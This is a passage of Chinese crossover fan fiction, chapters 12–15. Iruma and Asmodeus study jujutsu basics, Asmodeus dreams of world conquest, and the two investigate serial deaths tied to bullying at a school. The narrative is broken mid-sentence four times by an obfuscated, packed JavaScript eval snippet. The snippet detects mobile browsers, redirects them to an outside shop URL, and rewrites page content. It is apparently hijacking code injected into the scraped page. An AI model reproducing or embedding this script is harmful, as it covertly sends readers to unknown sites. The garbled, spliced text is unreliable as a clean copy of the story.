抬起手,原本毫无咒力或者魔力可言的身体,居然操纵着和阿斯莫德同出一系的火焰,在小小的医务室飞舞,美则美矣,但是…… “啊啊啊啊阿兹君能帮我把火焰收回去吗?帘子!帘子被点着了!” “经过这段时间的考量,我认为给你们安排的文化课程应该更多一些……” 夜蛾打好的腹稿还没来得及说完,就看到自己学生火烧医务室这一幕,不由得开始头痛:“你们!在干什么?!” “夜蛾老师,对不起!!!” 12. 征服人类世界?我吗? 在写完一张万字检讨之后,弱小可怜又无助、但是破坏能力一流的入间和阿斯莫德,被夜蛾拎去恶补文化课了。 “是我经验不足,还是大意了,先入为主认为你们已经对咒术界有所了解,并且……低估了这些事情的风险。”夜蛾在这方面算是难得坦诚,率先对学生们低头反思,当然非常委婉地把原因归咎在了自己以及调查事件中未知的风险上——他是真的没见过像入间和阿斯莫德这种离谱的运气,“还有就是,你们俩,也要爱护公物,虽然我知道入间的术式还不太稳定,但是我们有专门的训练场。” “以后都在这里进行术式的使用,明白了吗?” 就差跟他们说,离医务室远点不要搞破坏了。 “明白了!” “明白了!” 在得到他们的保证之后,夜蛾稍稍放了点心:“那么,接下来我们就开始上课……” “老师,我听说我们还有个同期,她不来吗?” 上课这种令人痛苦的事情,当然是拉下水的倒霉蛋越多越好。 “她不需要来,因为她算是没落咒术师家族出身,已经掌握了咒术界的基础知识,现在她还在进行别的调查任务,还有别的问题吗?” “老师,阿兹君是外国学生,对于日本的文字不太擅长,能不能……” 夜蛾有点惊讶:“哦?你们确定吗?” 阿斯莫德和入间对视一眼,确认过眼神,是无脑追随的家伙和不想上课的人:“嗯!” “那好,我们就采取别的方法。” 半个小时之后。 “提问,帐是什么?”夜蛾老师的声音从手里抓着棉花锤子的猩猩咒骸体内传出,“帐的咒语是什么,加强的能量归功于谁?” “是……是……出任务时需要展开,用来隔绝咒灵和普通人类的结界!”入间和阿斯莫德被猩猩咒骸追着狂奔,一边围着操场一边回忆不久前夜蛾老师口授的内容,“咒语……咒语……由暗至明……” “错误!错误!” 错误的答案像是激活了猩猩咒骸的攻击开关,巨大的锤子不讲道理地狠狠砸中入间,让正在奔跑的入间差点一个踉跄栽进地里。 “呜啊!” 我真傻,真的。入间欲哭无泪地想着,我怎么会觉得,夜蛾老师都没有第一时间拿出来的planB,会是什么轻松的事情呢 ? 好了,现在了解到了新的知识:他们的老师夜蛾,术式是制作咒骸,咒骸看上去像是长得丑丑的娃娃,实际上由咒力启动,在使用者违背了规则之后就会按照设定暴起攻击。 现在成了用来监督他们边运动边背书的神器。 还是自作孽不可活。 好在优等生阿斯莫德很快给出了标准答案:“帐是领域展开的简化版,具有隐藏功能,用以隐藏咒术师和咒灵的战斗区域,避免普通人恐慌;设立需满足‘条件与代价对等’的底层规则,一般设立条件为禁止普通人出入……” 然后带着入间背起了咒语:“由暗而生,比黑更黑,污浊残秽,皆尽祓禊。” 但是他在人物上也同样卡壳。 “是天元大人,平安时代的咒术师,术式是不死,生活在薨星宫,有祂在,日本所有的结界都得到了加强。” 夜蛾其实也没指望学生们在这么短的时间里完全掌握,阿斯莫德的学习能力算是意外之喜,入间这种水平其实才算正常人的中上。 “不死……世界上真的会有人不死吗?” 对于这点,入间和阿斯莫德都抱着疑惑的态度。 “当然不死的术式不是没有代价的。”夜蛾解释到一半,像是想到了什么,咳了一声,非常生硬地转移这个话题,“总之你们以后会知道的。” 算算时间,估计就在这几年了。 说话的功夫,入间和阿斯莫德又跑过了一圈。 夜蛾此时非常镇定。 半个小时之后,入间和阿斯莫德还在继续。 夜蛾:“……” 一个小时之后…… 夜蛾忽然陷入了茫然——他们跑了多少圈来着? 看了看举着牌子的咒骸,那翻动的数字已经飙升到了72,夜蛾顿时陷入了更深的震撼。 他收回入间正常的评价。 这个身体素质,明显不对劲吧喂? 这是什么超人类身体啊,难道他们已经掌握了咒力强化身体部位的诀窍吗? “啊?什么?还可以用来强化身体吗?” 完全不知情的样子呢。 “你们……”夜蛾发现,虽然咒术师的脾气是公认的各有各的古怪,但是自从有了这两个学生之后,他格外容易语塞,“既然你们不是用咒力强化了身体,那……” 整整72圈都硬靠自己的身体扛下来吗?那你们不应该在高专,而是应该去当运动员打破世界纪录! 虽然只是吐槽,但是夜蛾不知为何,真的产生了一种抢夺人才、珠玉蒙尘的惭愧。 “啊,这个呀。”入间只是开朗地笑着,“因为我们之前上学的地方对于身体素质要求比较严格,加上我因为家庭情况所以从小就这样锻炼……” 到底是什么地方这么恐怖啊?你们难道还是生活在什么有猎人工会的地方,天天打魔兽还要战斗吗? 不知道自己歪打正着了说中了魔界部分生活方式(关于魔兽方面)的夜蛾揉了揉自己的眉心,觉得自己真是年纪上来了,脑子里都在想什么奇奇怪怪的东西。 “是的……”阿斯莫德诚恳点头,然后被入间捂住嘴巴,“啊……阿兹君的意思是,是的,我们经常锻炼。” 浑然不觉自己已经把心里汹涌澎湃的吐槽说出来的夜蛾点点头,也没有再跟学生掰扯什么,带着一种莫名的惆怅,背着手叹了口气。 “阿兹君,人类世界,只有野兽,没有魔兽的。”入间表情沉痛地给阿斯莫德紧急科普,“它们……嗯,普遍比魔兽弱很多。” “人类世界竟然生活得这么和平吗?”阿斯莫德露出惊愕的神色,“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600127|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……刑讯课……飞行课程……心脏破裂……” “都没有!”入间诚恳又坚定地点点头,是的,人类就是很脆弱的!像是刑讯啊还有用魔力打来打去啊、被闯进课堂的怪人追杀啊,这些统统没有! 阿斯莫德顿时失魂落魄,有种“这种种族连魔兽都不如那到底优势在哪里?真的又狩猎的必要吗?要是真的搞征服那跟欺负小孩子有什么区别”的幻想破灭。 入间:“……” 人类就是很脆弱真是对不起了呢。 但是,做个好人吧,阿兹君,就当是为了我! 阿斯莫德振作得确实很快,因为这段时间里对于咒术界的了解,他想到了另外的一种可能——两眼放光的他抓住入间的手,小声说:“入间君,不,入间大人,我记得,咒术师是少数,并且强大的术式更是少见对吧?” 他甚至恢复了之前在魔界的称呼。 “啊……应该是的吧?”入间不明觉厉,这些知识点属于刚刚学习的内容,再怎么不擅长学习,大脑都好歹能存留一定的印象。 “那我们征服这些咒术师也是可以的吧?当我们解决掉咒术界,入间大人在咒术界称王,后面就可以征服世界!”阿斯莫德为了这样的未来重新激动起来,“虽然只有我们俩,但是您还可以召唤我们在魔界的同伴,这样一来,我们可以先征服人类世界,然后将它作为政治筹码,给您争取更多的位置……” “实不相瞒,入间大人,我一直想追随您,直到您成为魔王!” 入间:“……” 入间:“欸?!” 真的假的,他们不是子供向漫画吗?! 眼前的阿斯莫德和入间印象中那个有点讲究规矩但是品德很好的恶魔,完全不一样! “阿兹君,你还记得我们来到这里之前是在帮助没有战斗能力的多耳族争取他们的权益吗?” “是的,这是入间大人仁慈的证明,即使是弱小的种族也应该在魔界找到自己的一席之地!” 所以阿兹君是认为,施加善意作为征服手段也是没关系的吗?不对,他在想什么啊! 虽然被这样大的信息量狠狠震撼,但是入间还是要从宕机中艰难爬出来发出呐喊——那可太有关系了! 不对,完全错了啊! “那大家因为我的位阶太低太弱,但是你一直和我还有克拉拉一起……” “因为您是温柔强大的人,他们都没有欣赏您的能力啊!”阿斯莫德脸上还带着一点不知道是不自然还是害羞的红晕,“而且,您说过,我们是朋友啊!” 入间:“……” 征服世界什么的先放一放,现在的重点是他跟他的朋友似乎在认知上出现了什么分歧。 到底是哪一步出现了问题,让阿斯莫德认为,他所做的一切都是为了魔王的目标……他可以成为魔王啊! 我们不是一直在变强,就是为了更好地帮助别人吗? 征服?什么时候的事情?! 没人问过我啊! 13. 阿兹君期待的未来 “阿兹君以后想做什么呢?” 记忆里已经有点模糊不清的男性的影子,像是隔着一层即使是阳光也无法穿透的朦胧晨雾,在头顶想起,只是大概是因为隔着时间长河的缘故,即使是这样近的距离,声音都显得遥远。 就这样问着已经有点俗套的问题,就像一个寻常人家的父亲。 “变强?继承母亲大人的家系能力?接过她的衣钵?”小小的阿斯莫德仰着头,说出了大家喜闻乐见的回答。 男人像是笑了一声,然后像是想象到了什么画面,浑身发抖,努力从齿缝里挤出忍笑的应和,“哦?那可真是……那可真、是个不得了的目标啊……这是、这是阿兹君自己、的想法吗?” “……” 阿斯莫德有点迷茫地摇头:“不知道,应该是的吧,大家都这么说。” 他有点迷茫地反问:“那父亲大人呢?说到底,很多人的目标在长大以后都不一定会实现吧?那为什么不抓住最稳定最容易实现的那个呢?” “我吗?可是我的曾经的目标都已经实现了呢。”那人掰着他的手指头,一个个地数下去,“追随一个让我心悦诚服的强者,找到一个漂亮的老婆,虽然你的出生不在我们的计划内,但是你也能算半个达成的愿望……” 其他的不是很重要,但是对于一个年幼的恶魔来说,“强者”这个词汇天然地带着吸引力:“这个强者,很厉害吗?” “当然啦!因为他的出现,一场战争真正做到了零死一伤地消弭了。”一说到自己追随的强者,那家伙顿时爆发出了比谈论起家庭或者别的什么那家伙平时引以为傲的资本时,更加激动的情绪,阿斯莫德从没见过这样的父亲,“他是历任魔王里最强大也是最具有人格魅力的人……一开始我还不服气的……但是……因为他愿意给魔界安定和和平……我真的……很愿意为他献上我的……” “零死一伤吗?是‘针包战役’?” 已经读过很多书、成绩优异的阿斯莫德记得,在魔界的历史书上记载过那次的事件。 那是北方领土的战争,双方剑拔弩张,蓄势待发,所有人都以为会血流成河,但是最后这次战争却以一种非常神奇的方式,在零死一伤的情况下草率结尾了。 其中唯一伤者还是站在两军交战中间的魔王德尔奇拉,他用自己庞大的躯体承接下了各种武器,然后用旁若无事、谈笑自若的强大证明了自己有上桌谈判的底气。 所以最后两方都没有决出结果——因为都被魔王德尔奇拉收编征服了。 由于他站起来的时候因为身上密密麻麻的武器而看起来很像一只被插满了大头针的针线包,这次战役也被简单粗暴称之为“针包战役”。 至于为什么他要插足素昧平生的两方的战争……恶魔就是这样任性、容易被欲望支配的生物嘛,因为他的强大,反而没有人会想探究原因——强者总是有他们的道理的。 不过阿斯莫德没想到的是,自己的父亲也是追随魔王德尔奇拉并且认可他统治的其中一员。 即使魔王已经失踪了很久很久,久到有一部分恶魔都失去了对他的敬畏。 “阿斯莫德,我们恶魔啊,就是要遵从内心欲望的,欲望才是我们的载体啊。” “不过,阿斯莫德,你真的要继承你母亲大人的衣钵吗?”那人揉了揉他的脑袋,然后因为破坏孩子精心准备的造型而遭到了抗议,然后用一种无法想象的语气感慨,“哇啊,那真是有点不能想象呢。” “好吧,即使阿斯莫德想要成为几百年以来唯一一位男性的色孽之首,你亲爱的父亲大人也会支持的。” 阿斯莫德是少见的、彻头彻尾遗传了母亲这边家系能力的男性恶魔,又因为他在父母基础上发扬光大的美貌,大家也都觉得,让他继承母亲色欲之首的衣钵并不是什么奇怪的事情,而阿斯莫德也一直在这条路上走着。 良好的学识、遵循各种美德,在放纵欲望之前先学会克制。 接下来按部就班地升学、升阶,作为巴比鲁斯的优秀毕业生离开,然后在母亲手底下历练,直到最后打败她,进入十三冠…… 因为大家都这么说,因为大家都这么期待,所以阿斯莫德认为这条路也会是自己的未来。 直到挑战“关系户”,被巴比鲁斯校董的孙子入间打倒的那一刻,明亮的光照在入间的脸上,几乎和印象中的那人融为一体。 阿斯莫德忽然就理解了记忆中的那家伙所说的,难以抗拒的人格魅力和温柔。 母亲的性格和地位赋予他征服的欲望,父亲所描绘过的蓝图却像是小小的一簇火苗,在他的心里,从来就没有熄灭过。 他羡慕父亲的过去,遵从自己内心的想法,随着传说中的魔王征战讨伐。 所以,要寻找一位温柔却又不失能力、能看到众生的魔王…… 是的……那大概是我所追求的…… 一个有能力而不滥用,比恶魔更贪婪,比所能想到的一切更温柔……透过入间大人,就仿佛能够触及到那个光明的未来,那个承载着自己所寄托欲.望的、幸福的彼岸。 他所追求的魔王,就应该是这样的啊…… 此刻沉寂已久的、来自父系的基因跃跃欲试,从此本来定下的轨迹朝着新的方向出现了无法逆转的改变。 是的……是的……我想要知道,这是一种什么感受,能够让那家伙念念不忘,直到现在。 而来到入间大人身边之后,事实证明,或许这个选择,比他自己想象的还要好上很多。 以至于家系能力也让他下意识有些不愿意拿出手。 虚假的幻境怎么比得上眼前正由入间大人带着他们,亲手一笔一划书写和开辟的繁荣? …… “就是这样喽。” 在梦境的间隙里,扒拉着云层一样幕帘的艾利先生对着身边的入间一摊手:“你亲爱的阿斯莫德同学不管怎么样都想让你成为魔王、征服世界的理由。” 由于实在是被阿斯莫德那句“统治人类” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600128|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暴论给震撼到了,入间求助艾利先生,帮忙寻找阿斯莫德说这话的原因。 倘若是之前的艾利先生,帮忙的话肯定是难度相当大的。 但是,因为入间和阿斯莫德在灵魂层面的纠缠,所以进入阿斯莫德的梦境并且让他在潜意识中透露出原因,难度也大大降低。 实在是今晚的入间辗转反侧,搞得它都不得安枕。 “唉,实话就是很伤人喽,现在好了,为了自己的好奇心,你……” 想象中的悲伤忧郁甚至于捏紧了拳头试图决裂,都没有发生,蓝毛笨蛋还是那个笨蛋,甚至更离谱了。 “原来如此!”入间恍然大悟,“我一直觉得配不上阿兹君的期望,他对我有点太好了,反而让我觉得不真实。如果阿兹君其实想借我实现梦想的话……那我还有什么可担心的呢?” “……哈?”艾利先生发出迷茫的声音,“入间小弟,你知道你在说什么吗?” “因为阿兹君对我太好了,所以我一直觉得很愧疚,我到底做什么了,才值得让阿兹君对我这么好呢?”入间挠了挠头,说出了很不得了的话,“既然阿兹君是想通过我达成自己的期待……那么,我愿意为了阿兹君进行尝试!” “哈?你的意思难道是?” 你醒醒啊入间君,你是人类耶!不要做自己种族的叛徒啊喂! “成为魔王也可以,征服世界也可以,如果这是阿兹君的愿望的话……” 某个从小颠沛流离、绝地求生,在人类世界感受到的温暖不足在魔界感受到的百分之一的家伙这么说道。 “入间小弟,你是开玩笑的对吧?一定是再开玩笑的吧?” 你们两个,正常的反而是看上去就很忠犬以至于到了无脑程度的恶魔吗? 自己果然还是小看了现在孩子的笨蛋程度啊。 而一觉醒来的阿兹莫德,已经非常轻车熟路地劝服了自己——如对弱小的种族同样抱着包容和怜悯的心态,不愿意统治和控制他们,这才是入间大人最温柔可贵之处啊! 全然不知入间已经在盘算着怎么委婉达成阿斯莫德口中“征服世界”的目标了。 这又何尝不是一种无法用语言形容但是确实在努力进行的双向奔赴呢? “阿兹君,今天也一起努力吧!比如说,先看看有没有我们能打的过的咒灵之类的……” “是,入间君!” 虽然不知道为什么入间大人会忽然想要打咒灵,但是阿斯莫德已经能够轻车熟路自己给他寻找原因——一定是入间大人也有些思念魔界了,所以也干劲十足。 艾利先生:“……” 好吧,一个愿打一个愿挨,他还能说什么呢? “入间小弟,加油哦,我们这个家都要靠你了!” 它变出一张小手帕,像模像样挥了挥,还做作地用力眨了眨眼睛:“征~服~世~界~吧~” “艾利先生!” 被别人说出来,莫名就开始羞耻了! 14. 校园命案 “你们的意思是,想要……让我帮忙找点你们能打得过的低级咒灵?”夜蛾露出了不可置信的表情。 这种大材小用的请求就跟一个庆应大学研究生说自己要退学回去家里便利店干活一样荒谬。 你们对自己的实力是不是出现了什么误解?! “是的!”入间超级开朗地回答,“因为我们还是四级咒术师,所以还是老老实实打低等级咒灵比较好。” 夜蛾:“……” 确定了,似乎真的有什么误解。 这里就不得不提一句魔界和咒术界的区别了:在魔界,魔力是会受到位阶的影响的,不同的位阶,所能够承受的魔力也不尽相同,所以没有什么恶魔会扮猪吃老虎傻乎乎压制自己的位阶。 至于咒术界,实力是硬道理,评级只会影响到咒术师们接委托的工资,所以充满着和评定高层的斗智斗勇以及不得不进行的利益交换和低头,总之体系相当腐朽、亟待推翻。 “不,既然你们已经来找我了,那刚好这里的任务就交给你们了。”夜蛾把自己一直在犹豫要不要交给他们的资料推到了入间和阿斯莫德的面前,“这是我为你们寻找的升级举荐人所委托的任务,入间君和阿斯莫德君各一份,完成这个任务之后,那边就会愿意出面对你们进行举荐。” “但是……”夜蛾欲言又止,“因为是送到他手里的问题,所以你们需要做好准备,一招不慎,很可能就是硬仗。如果实在不行的话,也可以婉拒。” “好!我会努力的!” 从明白阿斯莫德的想法到现在,这些天入间连先召唤哪位老师、怎么获取能量和组织措辞都想好了,现在有升级的任务送上门,明显的一举两得,怎么可以拒绝! “入间君的决定,就是我的决定!” 艾利先生坐在入间肩膀上,不知道该不该欣慰。总之,这家伙还是一如既往地无脑相信入间小弟,指哪儿打哪儿。 “我会让辅助监督尽可能为你们提供帮助,如果遇到危险立刻求救并且放弃任务。”夜蛾充满担忧地唠叨,“不要逞强,安全最重要,即使这次考试不尽如人意也没关系,升级的考试不止一次,明白吗?” “是!” …… 深夜。 电车里已经没什么人了,有的也大多是神色疲倦、穿着工作服的成年人,或者领带绑在头顶、手里抓着烧酒,醉醺醺地说着什么胡话的家伙。 头上绑着蓝色西装领带的男人摇摇晃晃走进了车厢,在寻找座位的时候狠狠撞到了坐在角落里、垂着头一言不发的少女,明明是撞人的那个,却理直气壮倒打一耙:“喂,你没长眼睛吗?不知道给人让行是吧?成年人上班养家……可是很辛苦的!不像你,嗝……不像你,只需要找个好男人……” “你们活得……太轻松了……嗝……” 少女瑟缩了一下,一声不吭,把自己藏在长长的刘海下面,任凭夹杂着烟酒气息的臭烘烘唾沫星子飞溅到自己身上。 周围的人表情也满是麻木,上班已经将应有的情绪和感情消耗殆尽,反正也不会出什么意外吧,就算会,那和自己有什么关系呢? 大概是一直没能等到少女的反应,男人也觉得无趣,继续扯着嗓子唱着跑调的歌,然后朝着电车深处走去了。 在男人走后,少女才敢出声,像是在小声安慰自己: “没关系的……没关系的……至少没有打我,至少不是坏人……没关系的……” 谁知,就在下一秒,庆幸成空,男人举着不知道哪里来的刀,面目狰狞:“你是不是也看不起我……绝对是吧……你为什么不害怕啊!啊?” “对不起、对不起!” 少女下意识道歉,护住自己的脑袋,仿佛是什么条件反射。 就在这时,电车的门开了,少女为了求生也顾不得许多,直接抓着书包逃了出去。 下了车,才发现这里几乎是城市边缘,站台锈迹斑斑,抬头就能看到黑洞洞的废弃厂房,像是渺无人烟的死地。 哆哆嗦嗦掏出手机,想要打电话,款式老旧、贴着姓氏“西野”的手机却早在电车上的时候就因为男人的碰撞而损坏。 “帮帮我……”少女蹲在地上,终于忍不住掉下眼泪,“谁来帮帮我……” 话音未落,附近本来暗淡无光的路灯忽然闪了一下,照亮了不远处一个杂草丛生的掉漆电话亭。 摸了摸口袋里的硬币,少女犹豫着,走了进去。 这个电话亭实在是有点奇怪,在少女将硬币投进去之后,亭子内的灯像是被硬币启动了一样,忽然大放光明,也正是这样明亮的光源,让少女看到了电话亭上贴着的一张纸。 “你有没有想杀死的人?你有没有仇恨的家伙?” “请拨出这个号码吧,只要向电话对面许愿,并且说出‘请归还大人帮帮我……’” 像是想到了什么,少女真的鬼使神差地拨打了那张纸上红得不祥的号码,对着发出“沙沙”电流声的对面轻声祈求:“归还、归还大人……请归还大人帮帮我……” …… “这里就是命案发生的地方了。”辅助监督带着入间和阿斯莫德来到了一所学校门口,“因为最近经常有学生在课堂上莫名其妙地接连死去,所以引起了很大的恐慌,一听说有人愿意接下这件事情调查,立刻就同意了。” 入间连忙点头:“好的,麻烦您了。” 而这位陌生的辅助监督只是推了推眼镜,语气非常生硬:“不用,请吧。” 跟着辅助监督,拿着学校方面特许的证件进了学校办公室,看上去似乎等了多时的一男一女两位老师立刻起身:“您好您好,请问是‘那边’请来的专业人士吗?初次见面,之后的事情就拜托您了。” 辅助监督只是表情苦大仇深地回礼:“不,我只是辅助,这两位才是这次问题的负责人。” 视线转到一旁带着明显学生气的入间脸上,再看看旁边衣服相似的阿斯莫德,男性教师带着怀疑的眼神,上下打量了他们一眼,没有说话,但是一看就充满了不信任。 而那位女性教师更是大胆开麦:“他们只是学生吧?这样耽误学习是不是不太好。” “接任务调查并且解决问题,也是他们课程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600129|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一部分。”辅助监督解释道,“在下只能负责一些旁务。” 女性教师还是上上下下看着他俩,总之很不认可的样子。在这样充满上了年纪教师的目光扫射下,别说是入间了,即使是阿斯莫德,也不由得端正起来。 “既然是校长请来的人,那应该不会错的。”男性教师一听立刻出来打圆场,仿佛刚才不屑于和他们沟通的家伙不是自己似的,“那二位是打算以怎么调查呢?需要我喊那些叽叽喳喳的学生们过来吗?还是需要在我们学校潜伏……” 女性教师听得疯狂皱眉:“村山老师,不要打扰学生们的正常学习生活。” 而入间更是连连摆手:“不,我们……我们还是自己去问问吧?” 然后拉着阿斯莫德逃离了现场。 穿着高专校服的两人在学校环境里显得多少有点格格不入,很快就引起了一楼正在说笑的一群人的注意。 “是新来的学生吗?”他们看着入间和阿斯莫德的神色并不算友好,甚至有个染着头发的不良评头论足,“哇塞,那个高个子小哥看上去很帅,不过旁边的家伙畏畏缩缩的,像是那种很土的老好人。” 于是真的有人笑嘻嘻对着入间喊了一嗓子:“喂!那边黑衣服的小个子!你在干什么呢?是转学生吗?” 入间摇了摇头:“我们还不算转学生。” 看到入间手足无措的样子,他们反而挤眉弄眼地笑了,然后用一种神神秘秘的语气说:“你们偷偷溜进来的?也是因为好奇‘那个’吧?我们其实也很好奇的,毕竟如果真的有人能够尝试并且发出来,那岂不是……哇,火定了。” 毕竟是天不怕地不怕、热爱试胆大会的年纪,说起最近连日以来的命案,没有恐惧反而全是兴奋:“你要不要也来加入我们,我们打算晚上……来嘛,一起玩呀!” 只是那些眼睛里闪烁的神色,分明是不怀好意。 入间刚想对他们说不要做这种危险的事情,却似乎被误认为是真的心动了想要加入,所以又快又急地扯了一下他的衣服。 “你们不要来。”那个少女低着头,“这里很危险的,他们根本不是你想象的那么友好。” “西野,不要这么扫兴啊——” “真是多管闲事的丑东西,和她姐姐一样让人生厌。” 那群学生眼见着事情不能得逞,充满失望地对那个阻止入间的少女破口大骂起来。 “啊——”一声惨叫阻断了他们的谩骂。 那群人中的一个忽然从一楼掉了下去。一楼走廊翻到地面,按理来说,大概率受伤。但是绝对不至于致命,那人却在痛苦挣扎一阵子之后,眼球爆凸,没了气息,热烘烘的血液缓缓流到入间脚边,莫名的恐惧和难以遏制的反胃让入间转过身,“哇”地吐了出来。 只见之前还不怀好意希望入间他们加入的男男女女脸色苍白,像是也没见识过这样可怖的死法:“该死,这是什么情况?” “你们谁推了她?”有人后退一步,生怕被波及。 “纯子!”有人充满恐惧地呼唤死者的名字。 一时间场面陷入混乱。 15. 底线 入间和阿斯莫德,刚把你来我往的社交场面扔给辅助监督,就很快以一种微妙的原因再次回到了办公室。 报警归报警,自然是查不出什么东西,众目睽睽之下从并没有多高的一楼走廊跌了下去,双腿着地,不管怎么想也不致命的一场意外,断送了一条年轻生命。 “这种事情在学校已经发生不止一次了。”被称作村山的男性教师有点头痛,“就像我们提交地情况里说明的,吃着饭忽然倒地猝死、走在路上昏迷猝死……已经连续发生好几起类似的死亡了,家长们也都担惊受怕地给校方施压……” 入间想了想,问道:“那那些人有没有什么共性呢?” 按理来说,这种事情的发生,都会有规律可寻。 “规律么,一开始我们也以为找到了。”接待他们的另一位名叫山元友子的女性教师回忆道,“基本上都是一些在学校生活中比较边缘化的学生,男女都有,不太受关注,所以基本都是过了一段时间才被发现的……” 村山老师接过话头,迫不及待地开口:“谁知道,今天出事的人变成了纯子。她在学校还是很受欢迎的,人缘也不错,除了有点爱美之外没有什么特别的地方。” 入间注意到,在村山老师说完之后,山元老师颇为不满地看了他一眼,欲言又止,但是还是什么都没说。 说实话,这话如果入间没有跟当事人产生交集,可能就真的信了。 纯子和她身边的人,遇到新学生之后的恶意简直不加掩饰,入间一点都不怀疑,如果他们被自己拒绝,会怎样“友善”地强迫带着他去“探险”。 阿斯莫德也是一副不忍直视的样子,对于人类的眼盲心瞎达到了空前的认知。 这种一看就知道在包庇学生的败类,下个真言的咒语就老实了。 在村山老师说出明显偏袒的话之后,山元老师犹豫片刻,还是顺着他的称呼委婉补充了一点:“并且,其实纯子同学并不是第一个……刚刚我收到了一个家长的电话,他的儿子也是莫名其妙在家中暴毙,他……和纯子同学是很好的朋友,都非常……” 斟酌了很久,山元老师才仿佛烫嘴般吐出一句“擅长社交”的形容,看来对那些学生的德行心知肚明。 听起来倒像是什么复仇。 如果不是确定了这些人都是普通学生,在魔界生活的入间和阿斯莫德可能都要往“边缘学生被迫害致死,然后反过来诅咒恶人”的以暴制暴方向猜测了。 这种感觉,在收到辅助监督帮忙查出来的资料时更是达到了顶峰。 拿到资料,阿斯莫德感慨了一番,辅助监督这个职位真是伟大的发明,要是收集关于咒灵的情报时能更准确就好了。 只是将咒术界情报机构“窗”收集到的咒灵相关代交给咒术师的辅助监督:“……” 辅助监督推了推眼镜,回答道:“我会就您的意见向上提出建议的。” 至于听不听、愿不愿意改,甚至于看不看,那就是另一回事了。 入间翻着资料,果然正如山元老师他们说的那样,一开始只是几天就死去一个学生,后来越来越频繁。 而那些受害的学生们家庭也是各有各的不幸,不是家里不管不问,就是穷得放学还得连轴转打工,成绩自然不会太好,老师们也没指望他们升学,自然而然的,在某些人眼里,这就是可以随便欺负的玩具。这种情况下的轻生可太常见了,以至于老师们都没多放在心上。 最近遇害的几个学生,正是其中搞欺凌的一把好手,尤其是今天的纯子,在某个论坛里小有名气,穿搭时髦,笑容满满分享着自己的日常,身后不经意露出一个头发凌乱、低着脑袋的少女,破损的背包上绣着“西野”的姓氏。 搭配上的文字是:“跟好朋友西野约好了,下个星期一起去试胆哟!” “西野……这个词是‘西野’对吧?”阿斯莫德的学习能力很强,这段时间已经学会了大部分日常使用词汇,“那不就是劝我们小心的那个学生吗?帖子编辑的时间是……三个月之前?这也能说明为什么那个人要阻止我们不要相信他们的邀请。” 入间看着照片里那个蜷缩着的人影,不知道为什么,总有种说不出的迷茫,就像是直觉告诉他,好像有什么被他们忽略了,但是在没有定论之前,也选择附和阿斯莫德:“嗯,那么既然警方调查不出什么,委托给了咒术师,那么会不会是他们在各种灵异场合试胆,引来了什么呢?” “因为,夜蛾老师说过,咒灵是从负面情绪的集合体中诞生的,所以会比较青睐那些负面情绪比较多的场合,对吧?”入间一边跟阿斯莫德解释,一边理清思路,“那么接下来我们可以先调查她们去过哪些场合试胆……” 阿斯莫德反正闭眼就是夸赞:“不愧是入间君!” 辅助监督提供的资料里,纯子的发帖基本都被打印了下来,入间和阿斯莫德快速地查找其中可能存在问题的地方,最后锁定了几个场合:因为过山车事故而停摆的游乐场、传说中游荡着怨灵的森林,以及某个不知名的废弃神社。 “游乐场,帖子里是说,‘因为这家伙莫名其妙尖叫起来,死活不肯上前一步,像只应激的……死狗’……”入间眼里闪过不忍,“所以最后还是没有探索成功。或许,是西野看到了什么?” 阿斯莫德意识到了入间的不忍心,于是对着另一张纸指了指:“这个也有点让人在意。” 他指的是去森林探险的帖子,毕竟他们初来乍到的时候就经历过类似的咒灵——那只虽然被杀死,但是又因为人们的恐惧从怪谈中复生的熊魂。 纯子对这次试胆的评价是:“看到了一个庞大的人形,甚至追了过来,但是机制的纯子酱成功逃脱了,嘻嘻。第二天亲爱的小狗没来,本来人家以为可以证实有怪物了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600130|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,结果小狗被吓晕,什么都没看到,只是骨折休养一个月,好失望,哭哭。” “天哪。”艾利先生不知道什么时候也出现了,趴在入间的脑袋上摇头,“啧啧啧,跟人类比起来,恶魔纯良得像朵小花。” 啊这…… 